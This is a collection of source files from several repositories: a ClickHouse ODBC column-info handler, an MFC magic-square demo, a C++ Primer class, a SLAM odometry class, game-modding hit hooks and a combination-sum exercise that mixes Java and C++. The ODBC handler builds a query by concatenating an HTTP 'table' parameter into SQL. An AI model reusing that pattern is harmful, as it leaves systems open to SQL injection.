2018-08-23T17:47:43
null
UTF-8
C++
false
false
4,367
cpp
#include "ColumnInfoHandler.h" #if USE_POCO_SQLODBC || USE_POCO_DATAODBC #include <Poco/Data/ODBC/ODBCException.h> #include <Poco/Data/ODBC/SessionImpl.h> #include <Poco/Data/ODBC/Utility.h> #include <Poco/Net/HTTPServerRequest.h> #include <Poco/Net/HTTPServerResponse.h> #include <DataTypes/DataTypeFactory.h> #include <IO/WriteBufferFromHTTPServerResponse.h> #include <IO/WriteHelpers.h> #include <Common/HTMLForm.h> #include <common/logger_useful.h> #include <ext/scope_guard.h> #include "validateODBCConnectionString.h" namespace DB { namespace { DataTypePtr getDataType(SQLSMALLINT type) { const auto & factory = DataTypeFactory::instance(); switch (type) { case SQL_INTEGER: return factory.get("Int32"); case SQL_SMALLINT: return factory.get("Int16"); case SQL_FLOAT: return factory.get("Float32"); case SQL_REAL: return factory.get("Float32"); case SQL_DOUBLE: return factory.get("Float64"); case SQL_DATETIME: return factory.get("DateTime"); case SQL_TYPE_TIMESTAMP: return factory.get("DateTime"); case SQL_TYPE_DATE: return factory.get("Date"); default: return factory.get("String"); } } } void ODBCColumnsInfoHandler::handleRequest(Poco::Net::HTTPServerRequest & request, Poco::Net::HTTPServerResponse & response) { Poco::Net::HTMLForm params(request, request.stream()); LOG_TRACE(log, "Request URI: " + request.getURI()); auto process_error = [&response, this](const std::string & message) { response.setStatusAndReason(Poco::Net::HTTPResponse::HTTP_INTERNAL_SERVER_ERROR); if (!response.sent()) response.send() << message << std::endl; LOG_WARNING(log, message); }; if (!params.has("table")) { process_error("No 'table' param in request URL"); return; } if (!params.has("connection_string")) { process_error("No 'connection_string' in request URL"); return; } std::string table_name = params.get("table"); std::string connection_string = params.get("connection_string"); LOG_TRACE(log, "Will fetch info for table '" << table_name << "'"); LOG_TRACE(log, "Got connection str '" << connection_string << "'"); try { Poco::Data::ODBC::SessionImpl session(validateODBCConnectionString(connection_string), DBMS_DEFAULT_CONNECT_TIMEOUT_SEC); SQLHDBC hdbc = session.dbc().handle(); SQLHSTMT hstmt = nullptr; if (Poco::Data::ODBC::Utility::isError(SQLAllocStmt(hdbc, &hstmt))) throw Poco::Data::ODBC::ODBCException("Could not allocate connection handle."); SCOPE_EXIT(SQLFreeStmt(hstmt, SQL_DROP)); /// TODO Why not do SQLColumns instead? std::string query = "SELECT * FROM " + table_name + " WHERE 1 = 0"; if (Poco::Data::ODBC::Utility::isError(Poco::Data::ODBC::SQLPrepare(hstmt, reinterpret_cast<SQLCHAR *>(&query[0]), query.size()))) throw Poco::Data::ODBC::DescriptorException(session.dbc()); if (Poco::Data::ODBC::Utility::isError(SQLExecute(hstmt))) throw Poco::Data::ODBC::StatementException(hstmt); SQLSMALLINT cols = 0; if (Poco::Data::ODBC::Utility::isError(SQLNumResultCols(hstmt, &cols))) throw Poco::Data::ODBC::StatementException(hstmt); /// TODO cols not checked NamesAndTypesList columns; for (SQLSMALLINT ncol = 1; ncol <= cols; ++ncol) { SQLSMALLINT type = 0; /// TODO Why 301? SQLCHAR column_name[301]; /// TODO Result is not checked. Poco::Data::ODBC::SQLDescribeCol(hstmt, ncol, column_name, sizeof(column_name), NULL, &type, NULL, NULL, NULL); columns.emplace_back(reinterpret_cast<char *>(column_name), getDataType(type)); } WriteBufferFromHTTPServerResponse out(request, response, keep_alive_timeout); writeStringBinary(columns.toString(), out); } catch (...) { process_error("Error getting columns from ODBC '" + getCurrentExceptionMessage(false) + "'"); tryLogCurrentException(log); } } } #endif
[ "alesapin@gmail.com" ]
alesapin@gmail.com
1fc070aee7db59a639d248daab4217645372068a
1a77b5eac40055032b72e27e720ac5d43451bbd6
/フォーム対応/VisualC++/MFC/Chap9/Dr64/Dr64/Dr64View.cpp
4350d94b7cb1c0280451809f595e4381fa1f384f
[]
no_license
motonobu-t/algorithm
8c8d360ebb982a0262069bb968022fe79f2c84c2
ca7b29d53860eb06a357eb268f44f47ec9cb63f7
refs/heads/master
2021-01-22T21:38:34.195001
2017-05-15T12:00:51
2017-05-15T12:01:00
85,451,237
0
0
null
null
null
null
SHIFT_JIS
C++
false
false
2,213
cpp
// Dr64View.cpp : CDr64View クラスの実装 // #include "stdafx.h" #include "Dr64.h" #include "Dr64Doc.h" #include "Dr64View.h" #ifdef _DEBUG #define new DEBUG_NEW #endif // CDr64View IMPLEMENT_DYNCREATE(CDr64View, CFormView) BEGIN_MESSAGE_MAP(CDr64View, CFormView) ON_BN_CLICKED(IDC_BUTTON1, &CDr64View::OnBnClickedButton1) END_MESSAGE_MAP() // CDr64View コンストラクション/デストラクション CDr64View::CDr64View() : CFormView(CDr64View::IDD) { // TODO: 構築コードをここに追加します。 } CDr64View::~CDr64View() { } void CDr64View::DoDataExchange(CDataExchange* pDX) { CFormView::DoDataExchange(pDX); DDX_Control(pDX, IDC_PICT, pict); } BOOL CDr64View::PreCreateWindow(CREATESTRUCT& cs) { // TODO: この位置で CREATESTRUCT cs を修正して Window クラスまたはスタイルを // 修正してください。 return CFormView::PreCreateWindow(cs); } void CDr64View::OnInitialUpdate() { CFormView::OnInitialUpdate(); GetParentFrame()->RecalcLayout(); ResizeParentToFit(); } // CDr64View 診断 #ifdef _DEBUG void CDr64View::AssertValid() const { CFormView::AssertValid(); } void CDr64View::Dump(CDumpContext& dc) const { CFormView::Dump(dc); } CDr64Doc* CDr64View::GetDocument() const // デバッグ以外のバージョンはインラインです。 { ASSERT(m_pDocument->IsKindOf(RUNTIME_CLASS(CDr64Doc))); return (CDr64Doc*)m_pDocument; } #endif //_DEBUG // CDr64View メッセージ ハンドラ /* * --------------------- * 4N魔方陣 * * --------------------- */ #include "mfcform.h" #define N 8 /* 4N方陣(n=4,8,12,16,・・・) */ void CDr64View::OnBnClickedButton1() { // TODO: ここにコントロール通知ハンドラ コードを追加します。 int hojin[N+1][N+1],i,j; tinit();cls(); for (j=1;j<=N;j++){ for (i=1;i<=N;i++){ if (j%4==i%4 || (j%4+i%4)%4==1) hojin[i][j]=(N+1-i)*N-j+1; else hojin[i][j]=(i-1)*N+j; } } printf(" 4N魔方陣 (N=%d)\n",N); for (i=1;i<=N;i++){ for (j=1;j<=N;j++) printf("%4d",hojin[i][j]); printf("\n"); } tfin(); }
[ "rx_78_bd@yahoo.co.jp" ]
rx_78_bd@yahoo.co.jp
f770e762d1df47327a642cff1811ff5f6ae217ed
7f98f218e3eb50c7020c49bfe15d9dbb6bd70d0b
/ch13/ex13_11.h
b737287ae47637ef86a94f63498c693e3c75c4ef
[]
no_license
MonstarCoder/MyCppPrimer
1917494855b01dbe12a343d4c3e08752f291c0e9
3399701bb90c45bc0ee0dc843a4e0b93e20d898a
refs/heads/master
2021-01-18T10:16:37.501209
2017-11-09T13:44:36
2017-11-09T13:44:36
84,318,673
0
0
null
null
null
null
UTF-8
C++
false
false
458
h
#ifndef CP5_ex13_11_h #define CP5_ex13_11_h #include <string> class HasPtr { public: HasPtr(const std::string& s = std::string()) : ps(new std::string(s)), i(0) { } HasPtr(const HasPtr& hp) : ps(new std::string(*hp.ps)), i(hp.i) {} HasPtr& operator=(const HasPtr& hp) { std::string* new_ps = new std::string(*hp.ps); delete ps; ps = new_ps; i = hp.i; return *this; } ~HasPtr() {delete ps;} private: std::string* ps; int i; }; #endif
[ "652141046@qq.com" ]
652141046@qq.com
fc5dad7ade4a4f5304a758f0582a09b9aaeb8a2a
e397315a964b0ac363db85dbaa69170003241f05
/include/odometry.hpp
6a27f66e57a0e321f66b56dc5037af8c17040b20
[]
no_license
MaouLim/StubidSLAM
a664f8f69585273c522c299e6869a596eb46c395
56fd6bcb34d8b8f87586cb94e7882a65a58352fd
refs/heads/master
2021-03-20T23:06:54.387389
2020-03-14T08:43:41
2020-03-14T08:43:41
247,241,425
0
0
null
null
null
null
UTF-8
C++
false
false
5,524
hpp
/* * Created by Maou Lim on 2020/3/14. */ #ifndef _STUBIDSLAM_ODOMETRY_HPP_ #define _STUBIDSLAM_ODOMETRY_HPP_ #include <memory> #include <vector> namespace sslam { class odometry { public: using ptr = std::shared_ptr<odometry>; enum state { INITIALING, RUNNING, LOST }; odometry() : _state(INITIALING), _prv(nullptr), _cur(nullptr), _map(map::create()), _count_lost(0), _count_inliers(0) { _n_features = config::get<int> ("n_features"); _scale_factor = config::get<double> ("scale_factor"); _level_pyramid = config::get<int> ("level_pyramid"); _match_ratio = config::get<double> ( "match_ratio" ); _max_lost = config::get<int> ("max_lost"); _min_inliers = config::get<int> ("min_inliers"); _key_frame_min_rotation = config::get<double> ("key_frame_min_rotation"); _key_frame_min_translation = config::get<double> ("key_frame_min_translation"); _orb_detector = cv::ORB::create(_n_features, _scale_factor, _level_pyramid); } ~odometry() = default; bool feed_frame(frame::ptr frame) { switch (_state) { case INITIALING : { _state = RUNNING; _cur = _prv = frame; _map->insert_or_replace(frame); this->_extract_kpts(); this->_compute_descriptors(); this->_initialize_3dpts(); break; } case RUNNING : { _cur = frame; this->_extract_kpts(); this->_compute_descriptors(); this->_match(); this->_pose_estimation_pnp(); if (!_check_estimation()) { ++_count_lost; if (_max_lost < _count_lost) { _state = LOST; } return false; } _cur->pose() = _pose * _prv->pose(); _prv = _cur; this->_initialize_3dpts(); _count_lost = 0; if (_is_key_frame()) { std::cout << "Key frame detected." << std::endl; _map->insert_or_replace(_cur); } break; } case LOST : { std::cerr << "VO lost." << std::endl; return false; } default : { return false; } } return true; } static ptr create() { return std::make_shared<odometry>(); } private: void _extract_kpts() { _orb_detector->detect(_cur->color_image(), _kpts_cur); } void _compute_descriptors() { _orb_detector->compute(_cur->color_image(), _kpts_cur, _descriptor_cur); } void _match() { std::vector<cv::DMatch> tmp; cv::BFMatcher matcher(cv::NORM_HAMMING); matcher.match(_descriptor_prv, _descriptor_cur, tmp); float min_dis = std::min_element( tmp.begin(), tmp.end(), [](const cv::DMatch& ma, const cv::DMatch& mb) { return ma.distance < mb.distance; } )->distance; _matches.clear(); for (auto& each : tmp) { if (each.distance < std::max(min_dis * _match_ratio, 30.)) { _matches.push_back(each); } } } void _initialize_3dpts() { _3dpts_prv.clear(); _descriptor_prv = cv::Mat(); for (size_t i = 0; i < _kpts_cur.size(); ++i) { auto& kpt = _kpts_cur[i].pt; double depth = _prv->depth_at(kpt.x, kpt.y); if (0. < depth) { auto p_cam = _prv->camera()->pixel2camera({ kpt.x, kpt.y }, depth); _3dpts_prv.emplace_back(p_cam.x(), p_cam.y(), p_cam.z()); _descriptor_prv.push_back(_descriptor_cur.row(i)); } } } void _pose_estimation_pnp() { std::vector<cv::Point3f> pts3d; std::vector<cv::Point2f> pts2d; for (auto& each : _matches) { pts3d.push_back(_3dpts_prv[each.queryIdx]); pts2d.push_back(_kpts_cur[each.trainIdx].pt); } cv::Mat camera_mat = _prv->camera()->cv_mat(); cv::Mat rvec, tvec, inliers; cv::solvePnPRansac(pts3d, pts2d, camera_mat, cv::Mat(), rvec, tvec, false, 100, 4.0, 0.99, inliers); _count_inliers = inliers.rows; std::cout << "PNP inliers: " << _count_inliers << std::endl; Sophus::SO3d so3 = Sophus::SO3d::exp({ rvec.at<double>(0), rvec.at<double>(1), rvec.at<double>(2) }); Eigen::Vector3d t = { tvec.at<double>(0), tvec.at<double>(1), tvec.at<double>(2) }; _pose = Sophus::SE3d(so3, t); } bool _check_estimation() const { if (_count_inliers < _min_inliers) { std::cerr << "VO rejects the estimation result since inliers are too small." << std::endl; return false; } auto tangent = _pose.log(); double length = tangent.norm(); if (5.0 < length) { std::cerr << "VO rejects the estimation result since the motion between two frames is too large: " << length << std::endl; return false; } return true; } bool _is_key_frame() const { auto tangent = _pose.log(); Eigen::Vector3d t = tangent.head<3>(); Eigen::Vector3d r = tangent.tail<3>(); return _key_frame_min_rotation < r.norm() || _key_frame_min_translation < t.norm(); } private: state _state; map::ptr _map; frame::ptr _prv, _cur; Sophus::SE3d _pose; /* OpenCV feature extractor stuff */ cv::Ptr<cv::ORB> _orb_detector; std::vector<cv::KeyPoint> _kpts_cur; std::vector<cv::Point3f> _3dpts_prv; cv::Mat _descriptor_prv; cv::Mat _descriptor_cur; std::vector<cv::DMatch> _matches; uint64_t _count_inliers; uint64_t _count_lost; /* visual odometry base parameters */ uint64_t _n_features; uint64_t _max_lost; uint64_t _min_inliers; uint64_t _level_pyramid; double _scale_factor; double _match_ratio; double _key_frame_min_rotation; double _key_frame_min_translation; }; } #endif //STUBIDSLAM_ODOMETRY_HPP
[ "maoulim@foxmail.com" ]
maoulim@foxmail.com
72370524d3c49d24f2d6820eb2564f3f7bfb8b38
71f1b58e06ba44a16b601a7ad415be852cdcb550
/OsiInterface/Hit.cpp
818e94f542245fa7ebc34e3a061cf6b428afa238
[ "MIT" ]
permissive
blakexu/ositools
0a23b24e893b99af5487b50c047b920a0660ab3b
f91a9d6d6b9ff793c3a3c41e74869dcda83df28d
refs/heads/master
2022-11-14T09:45:17.963601
2020-06-17T21:04:30
2020-06-17T21:04:30
null
0
0
null
null
null
null
UTF-8
C++
false
false
13,319
cpp
#include <stdafx.h> #include <Hit.h> #include <OsirisProxy.h> #include "PropertyMaps.h" // #define DEBUG_HIT DEBUG // #define WARN_HIT WARN #define DEBUG_HIT(...) #define WARN_HIT(...) namespace dse::esv { extern FunctionHandle StatusAttemptEventHandle; extern FunctionHandle HitPrepareEventHandle; extern FunctionHandle HitEventHandle; PendingHit* PendingHitManager::OnCharacterHit(esv::Character* character, CDivinityStats_Character* attacker, CDivinityStats_Item* weapon, DamagePairList* damageList, HitType hitType, bool noHitRoll, HitDamageInfo* damageInfo, int forceReduceDurability, HighGroundBonus highGround, bool procWindWalker, CriticalRoll criticalRoll) { auto it = characterHitMap_.find(damageInfo); if (it != characterHitMap_.end()) { if (it->second->CapturedStatusSetup || it->second->CapturedStatusEnter) { WARN_HIT("PendingHitManager::OnCharacterHit(Hit=%p): Hit pointer reuse on %d", damageInfo, it->second->Id); it->second->CharacterHitPointer = nullptr; } else { WARN_HIT("PendingHitManager::OnCharacterHit(Hit=%p): Found duplicate hit with ID %d, deleting", damageInfo, it->second->Id); DeleteHit(it->second); } } auto hit = std::make_unique<PendingHit>(); hit->Id = nextHitId_++; DEBUG_HIT("PendingHitManager::OnCharacterHit(Hit=%p): Constructing new hit %d", damageInfo, hit->Id); ObjectHandle targetHandle, attackerHandle; character->GetObjectHandle(targetHandle); hit->TargetHandle = targetHandle; if (attacker != nullptr && attacker->Character != nullptr) { attacker->Character->GetObjectHandle(attackerHandle); hit->AttackerHandle = attackerHandle; } hit->CapturedCharacterHit = true; hit->WeaponStats = weapon; hit->CharacterHitPointer = damageInfo; hit->CharacterHitDamageList.CopyFrom(*damageList); hit->CharacterHit.CopyFrom(*damageInfo); hit->HitType = hitType; hit->NoHitRoll = noHitRoll; hit->ForceReduceDurability = forceReduceDurability; hit->HighGround = highGround; hit->ProcWindWalker = procWindWalker; hit->CriticalRoll = criticalRoll; auto pHit = hit.get(); hits_.insert(std::make_pair(hit->Id, std::move(hit))); characterHitMap_.insert(std::make_pair(damageInfo, pHit)); return pHit; } PendingHit* PendingHitManager::OnStatusHitSetup(esv::StatusHit* status, HitDamageInfo* damageInfo) { PendingHit* pHit; auto it = characterHitMap_.find(damageInfo); if (it != characterHitMap_.end()) { pHit = it->second; DEBUG_HIT("PendingHitManager::OnStatusHitSetup(S=%p, Hit=%p): Mapped to existing %d", status, damageInfo, pHit->Id); } else { auto hit = std::make_unique<PendingHit>(); hit->Id = nextHitId_++; pHit = hit.get(); hits_.insert(std::make_pair(hit->Id, std::move(hit))); WARN_HIT("PendingHitManager::OnStatusHitSetup(S=%p, Hit=%p): Create new %d", status, damageInfo, pHit->Id); } pHit->CapturedStatusSetup = true; pHit->Status = status; hitStatusMap_.insert(std::make_pair(status, pHit)); // We no longer need to keep character hit mappings if (pHit->CapturedCharacterHit && pHit->CharacterHitPointer != nullptr) { auto it = characterHitMap_.find(pHit->CharacterHitPointer); if (it != characterHitMap_.end() && it->second == pHit) { characterHitMap_.erase(it); } pHit->CharacterHitPointer = nullptr; } return pHit; } PendingHit* PendingHitManager::OnApplyHit(esv::StatusMachine* self, esv::StatusHit* status) { PendingHit* pHit; auto it = hitStatusMap_.find(status); if (it != hitStatusMap_.end()) { pHit = it->second; DEBUG_HIT("PendingHitManager::OnApplyHit(S=%p): Mapped to existing %d", status, &status->DamageInfo, pHit->Id); } else { auto hit = std::make_unique<PendingHit>(); hit->Id = nextHitId_++; pHit = hit.get(); hits_.insert(std::make_pair(hit->Id, std::move(hit))); WARN_HIT("PendingHitManager::OnStatusHitEnter(S=%p): Create new %d", status, &status->DamageInfo, pHit->Id); } pHit->CapturedStatusApply = true; pHit->TargetHandle = self->OwnerObjectHandle; pHit->Status = status; hitStatusDamageMap_.insert(std::make_pair(&status->DamageInfo, pHit)); return pHit; } PendingHit* PendingHitManager::OnStatusHitEnter(esv::StatusHit* status) { PendingHit* pHit; auto it = hitStatusMap_.find(status); if (it != hitStatusMap_.end()) { pHit = it->second; DEBUG_HIT("PendingHitManager::OnStatusHitEnter(S=%p, Hit=%p): Mapped to existing %d", status, &status->DamageInfo, pHit->Id); } else { auto hit = std::make_unique<PendingHit>(); hit->Id = nextHitId_++; pHit = hit.get(); hits_.insert(std::make_pair(hit->Id, std::move(hit))); WARN_HIT("PendingHitManager::OnStatusHitEnter(S=%p, Hit=%p): Create new %d", status, &status->DamageInfo, pHit->Id); } pHit->CapturedStatusEnter = true; pHit->Status = status; hitStatusDamageMap_.insert(std::make_pair(&status->DamageInfo, pHit)); return pHit; } void PendingHitManager::OnStatusHitDestroy(esv::StatusHit* status) { auto it = hitStatusMap_.find(status); if (it != hitStatusMap_.end()) { DEBUG_HIT("PendingHitManager::OnStatusHitEnter(S=%p): Deleting hit %d", status, it->second->Id); DeleteHit(it->second); } else { WARN_HIT("PendingHitManager::OnStatusHitEnter(S=%p): Hit not tracked!", status); } } PendingHit* PendingHitManager::OnCharacterApplyDamage(HitDamageInfo* hit) { auto it = hitStatusDamageMap_.find(hit); if (it != hitStatusDamageMap_.end()) { DEBUG_HIT("PendingHitManager::OnCharacterApplyDamage(Hit=%p): Mapped to existing %d", hit, it->second->Id); return it->second; } else { DEBUG_HIT("PendingHitManager::OnCharacterApplyDamage(Hit=%p): No context record found!", hit); return nullptr; } } void PendingHitManager::DeleteHit(PendingHit* hit) { if (hit->CapturedStatusEnter) { auto it = hitStatusDamageMap_.find(&hit->Status->DamageInfo); if (it != hitStatusDamageMap_.end()) { hitStatusDamageMap_.erase(it); } } if (hit->CapturedStatusSetup) { auto it = hitStatusMap_.find(hit->Status); if (it != hitStatusMap_.end()) { hitStatusMap_.erase(it); } } if (hit->CapturedCharacterHit && hit->CharacterHitPointer != nullptr) { auto it = characterHitMap_.find(hit->CharacterHitPointer); if (it != characterHitMap_.end() && it->second == hit) { characterHitMap_.erase(it); } } auto it = hits_.find(hit->Id); if (it != hits_.end()) { // Hit deleted here by unique_ptr dtor hits_.erase(it); } } HitProxy::HitProxy(OsirisProxy& osiris) : osiris_(osiris) {} void HitProxy::PostStartup() { if (!gOsirisProxy->HasFeatureFlag("OsirisExtensions")) { return; } if (PostLoaded) { return; } using namespace std::placeholders; osiris_.GetLibraryManager().StatusHitSetupHook.SetPreHook( std::bind(&HitProxy::OnStatusHitSetup, this, _1, _2) ); osiris_.GetLibraryManager().StatusHitEnter.SetPreHook( std::bind(&HitProxy::OnStatusHitEnter, this, _1) ); osiris_.GetLibraryManager().CharacterHitHook.SetWrapper( std::bind(&HitProxy::OnCharacterHit, this, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13) ); osiris_.GetLibraryManager().CharacterHitInternalHook.SetWrapper( std::bind(&HitProxy::OnCharacterHitInternal, this, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12) ); osiris_.GetLibraryManager().CharacterApplyDamageHook.SetWrapper( std::bind(&HitProxy::OnCharacterApplyDamage, this, _1, _2, _3, _4, _5, _6) ); osiris_.GetLibraryManager().ApplyStatusHook.SetWrapper( std::bind(&HitProxy::OnApplyStatus, this, _1, _2, _3) ); osiris_.GetLibraryManager().SkillPrototypeGetSkillDamageHook.SetWrapper( std::bind(&HitProxy::OnGetSkillDamage, this, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11) ); PostLoaded = true; } void HitProxy::OnStatusHitSetup(esv::StatusHit* status, HitDamageInfo* hit) { gOsirisProxy->GetServerExtensionState().PendingHits.OnStatusHitSetup(status, hit); } void HitProxy::OnStatusHitEnter(esv::StatusHit* status) { auto context = gOsirisProxy->GetServerExtensionState().PendingHits.OnStatusHitEnter(status); LuaServerPin lua(ExtensionState::Get()); if (lua) { lua->OnStatusHitEnter(status, context); } gOsirisProxy->GetFunctionLibrary().ThrowStatusHitEnter(status); } void HitProxy::OnCharacterHit(esv::Character::HitProc wrappedHit, esv::Character* self, CDivinityStats_Character* attackerStats, CDivinityStats_Item* itemStats, DamagePairList* damageList, HitType hitType, bool noHitRoll, HitDamageInfo* damageInfo, int forceReduceDurability, CRPGStats_Object_Property_List* skillProperties, HighGroundBonus highGround, bool procWindWalker, CriticalRoll criticalRoll) { auto helper = gOsirisProxy->GetServerExtensionState().DamageHelpers.Create(); helper->Type = DamageHelpers::HT_PrepareHitEvent; helper->Target = self; if (attackerStats != nullptr) { helper->Source = static_cast<esv::Character*>(attackerStats->Character); } helper->SimulateHit = true; helper->HitType = hitType; helper->NoHitRoll = noHitRoll; helper->ProcWindWalker = procWindWalker; helper->HighGround = highGround; helper->CriticalRoll = criticalRoll; helper->ForceReduceDurability = (bool)forceReduceDurability; helper->SetExternalDamageInfo(damageInfo, damageList); gOsirisProxy->GetFunctionLibrary().ThrowCharacterHit(self, attackerStats, itemStats, damageList, hitType, noHitRoll, damageInfo, forceReduceDurability, skillProperties, highGround, procWindWalker, criticalRoll, *helper); wrappedHit(self, attackerStats, itemStats, damageList, helper->HitType, helper->NoHitRoll, damageInfo, helper->ForceReduceDurability, skillProperties, helper->HighGround, helper->ProcWindWalker, helper->CriticalRoll); gOsirisProxy->GetServerExtensionState().PendingHits.OnCharacterHit(self, attackerStats, itemStats, damageList, hitType, noHitRoll, damageInfo, forceReduceDurability, highGround, procWindWalker, criticalRoll); gOsirisProxy->GetServerExtensionState().DamageHelpers.Destroy(helper->Handle); } void HitProxy::OnCharacterHitInternal(CDivinityStats_Character::HitInternalProc next, CDivinityStats_Character* self, CDivinityStats_Character* attackerStats, CDivinityStats_Item* item, DamagePairList* damageList, HitType hitType, bool noHitRoll, bool forceReduceDurability, HitDamageInfo* damageInfo, CRPGStats_Object_Property_List* skillProperties, HighGroundBonus highGroundFlag, CriticalRoll criticalRoll) { LuaServerPin lua(ExtensionState::Get()); if (lua) { if (lua->ComputeCharacterHit(self, attackerStats, item, damageList, hitType, noHitRoll, forceReduceDurability, damageInfo, skillProperties, highGroundFlag, criticalRoll)) { return; } } next(self, attackerStats, item, damageList, hitType, noHitRoll, forceReduceDurability, damageInfo, skillProperties, highGroundFlag, criticalRoll); } void HitProxy::OnCharacterApplyDamage(esv::Character::ApplyDamageProc next, esv::Character* self, HitDamageInfo& hit, uint64_t attackerHandle, CauseType causeType, glm::vec3& impactDirection) { auto context = gOsirisProxy->GetServerExtensionState().PendingHits.OnCharacterApplyDamage(&hit); HitDamageInfo luaHit = hit; LuaServerPin lua(ExtensionState::Get()); if (lua) { if (lua->OnCharacterApplyDamage(self, luaHit, ObjectHandle(attackerHandle), causeType, impactDirection, context)) { return; } } next(self, luaHit, attackerHandle, causeType, impactDirection); } void HitProxy::OnApplyStatus(esv::StatusMachine__ApplyStatus wrappedApply, esv::StatusMachine* self, esv::Status* status) { // Don't throw events for inactive status machines, as those will get swallowed // by Osiris during loading anyway. if (!self->IsStatusMachineActive) { wrappedApply(self, status); return; } ExtensionState::Get().PendingStatuses.Add(status); gOsirisProxy->GetFunctionLibrary().ThrowApplyStatus(self, status); bool previousPreventApplyState = self->PreventStatusApply; ObjectHandle targetHandle; auto target = GetEntityWorld()->GetGameObject(self->OwnerObjectHandle); if (target != nullptr) { target->GetObjectHandle(targetHandle); auto pendingStatus = ExtensionState::Get().PendingStatuses.Find(targetHandle, status->StatusHandle); if (pendingStatus != nullptr) { self->PreventStatusApply = pendingStatus->PreventApply; } else { OsiErrorS("Status not found in pending status list during ApplyStatus ?!"); } } wrappedApply(self, status); self->PreventStatusApply = previousPreventApplyState; ExtensionState::Get().PendingStatuses.Remove(status); } void HitProxy::OnGetSkillDamage(SkillPrototype::GetSkillDamage next, SkillPrototype* self, DamagePairList* damageList, CRPGStats_ObjectInstance* attackerStats, bool isFromItem, bool stealthed, float* attackerPosition, float* targetPosition, DeathType* pDeathType, int level, bool noRandomization) { LuaVirtualPin lua(gOsirisProxy->GetCurrentExtensionState()); if (lua) { if (lua->GetSkillDamage(self, damageList, attackerStats, isFromItem, stealthed, attackerPosition, targetPosition, pDeathType, level, noRandomization)) { return; } } next(self, damageList, attackerStats, isFromItem, stealthed, attackerPosition, targetPosition, pDeathType, level, noRandomization); } }
[ "infernorb@gmail.com" ]
infernorb@gmail.com
1c522349c860a740129cbdc9630cd8f2390a38f5
e572fe7da635214a975ab8aebd4a8e8565183d60
/route-between-two-nodes-in-graph.cpp
39ecd610e055cfb9ccbca7b109eaa2703ee10c56
[]
no_license
LloydSSS/LintCode-LeetCode
3713dc63019fbf4af8dbb9b21c72c1d03874893f
fb55572a219f51e015672768090cbda1edcef707
refs/heads/master
2020-12-25T22:58:26.399559
2015-09-14T16:09:18
2015-09-14T16:09:18
35,087,006
4
2
null
null
null
null
UTF-8
C++
false
false
1,152
cpp
// http://www.lintcode.com/en/problem/route-between-two-nodes-in-graph // bfs #include "lc.h" class Solution { public: /** * @param graph: A list of Directed graph node * @param s: the starting Directed graph node * @param t: the terminal Directed graph node * @return: a boolean value */ bool hasRoute(vector<DirectedGraphNode*> graph, DirectedGraphNode* s, DirectedGraphNode* t) { if (s == t) return true; queue<DirectedGraphNode *> qu; unordered_set<DirectedGraphNode *> used; qu.push(s); used.insert(s); while (!qu.empty()) { DirectedGraphNode *gn = qu.front(); qu.pop(); for (int i = 0; i < gn->neighbors.size(); ++i) { if (gn->neighbors[i] == t) return true; if (used.find(gn->neighbors[i]) != used.end()) continue; used.insert(gn->neighbors[i]); qu.push(gn->neighbors[i]); } } return false; } }; int main(int argc, char const *argv[]) { Solution sol; return 0; }
[ "LloydSSS@users.noreply.github.com" ]
LloydSSS@users.noreply.github.com
f5cd4b1ebeddefd6811ae14e5df4f39939974689
5e4e2ae5c863dee1003c064ef70d74c9165fc65e
/backtrack/combination-sum-iii.cpp
8bc953b4043230c5ffeb0a64749eae51edf16f5d
[]
no_license
rootid/fft
3ec6f0e6ae1be96d531119b2571610646a7256e9
af187df0eafee37f69d6be95dc22685a96b96742
refs/heads/master
2020-12-14T09:24:18.915482
2019-07-25T23:52:21
2019-07-25T23:52:21
46,454,112
1
0
null
null
null
null
UTF-8
C++
false
false
2,686
cpp
//Find all possible combinations of k numbers that add up to a number n, given //that only numbers from 1 to 9 can be used and each combination should be a //unique set of numbers. //Example 1: //Input: k = 3, n = 7 //Output: //[[1,2,4]] //Example 2: //Input: k = 3, n = 9 //Output: //[[1,2,6], [1,3,5], [2,3,4]] #include "../headers/global.hpp" //######################################### DFS - Backtracking ######################################### public List<List<Integer>> combinationSum3(int k, int n) { List<List<Integer>> result = new LinkedList<>(); List<Integer> localList = new ArrayList<>(); combinationSumHelper(n,k,1,localList,result); return result; } private void combinationSumHelper(int n,int k, int start, List<Integer> localList,List<List<Integer>> result) { if(n <0 || localList.size() > k) return; if(localList.size() == k && n ==0) result.add(new ArrayList<>(localList)); for(int i=start;i<=9;i++) { if(n-i >= 0) { //Pruning to pick only + sum localList.add(i); combinationSumHelper(n - i, k, i+1, localList, result); localList.remove(localList.size() - 1); } } } //######################################### DFS - Backtracking ######################################### public List<List<Integer>> combinationSum3(int k, int n) { List<List<Integer>> result = new LinkedList<>(); List<Integer> localList = new ArrayList<>(); combinationSumHelper(n,k,1,localList,result); return result; } private void combinationSumHelper(int sum,int k, int start, List<Integer> localList,List<List<Integer>> result) { if(sum <0) return; if(sum == 0 && k == 0) result.add(new ArrayList<>(localList)); for(int i=start;i<=9;i++) { //(start-9) localList.add(i); combinationSumHelper(sum - i, k - 1, i+1, localList, result); localList.remove(localList.size() - 1); } } //######################################### DFS ######################################### void dfs(vector<vector <int> > &res,vector<int>& cv,int start,int k,int n) { if(n < 0 || cv.size() > k) { return; // prune } if(cv.size() == k && n == 0) { res.push_back(cv); } for(int i=start;i<=9;i++) { if(n-i >= 0 ) { //Biggest gain pruning while traversing cv.push_back(i); dfs(res,cv,i+1,k,n-i); cv.pop_back(); } } } vector<vector<int> > combinationSum3(int k, int n) { //iv : sz = 9 vector<vector<int> > res; vector<int> cv; int start = 1; dfs(res,cv,start,k,n); return res; } int main() { combinationSum3(); }
[ "vsinhsawant@gmail.com" ]
vsinhsawant@gmail.com
3c8997bde14c78a850891c2af6e0356528b4aacd
57b6fa831fe532cf0739135c77946f0061e3fbf5
/NWNXLib/API/Mac/API/SSubNetProfile.cpp
4824b84b4800d2b4d78db5eecd543c54ccfa1546
[ "MIT" ]
permissive
presscad/nwnee
dfcb90767258522f2b23afd9437d3dcad74f936d
0f36b281524e0b7e9796bcf30f924792bf9b8a38
refs/heads/master
2020-08-22T05:26:11.221042
2018-11-24T16:45:45
2018-11-24T16:45:45
216,326,718
1
0
MIT
2019-10-20T07:54:45
2019-10-20T07:54:45
null
UTF-8
C++
false
false
132
cpp
#include "SSubNetProfile.hpp" #include "API/Functions.hpp" #include "Platform/ASLR.hpp" namespace NWNXLib { namespace API { } }
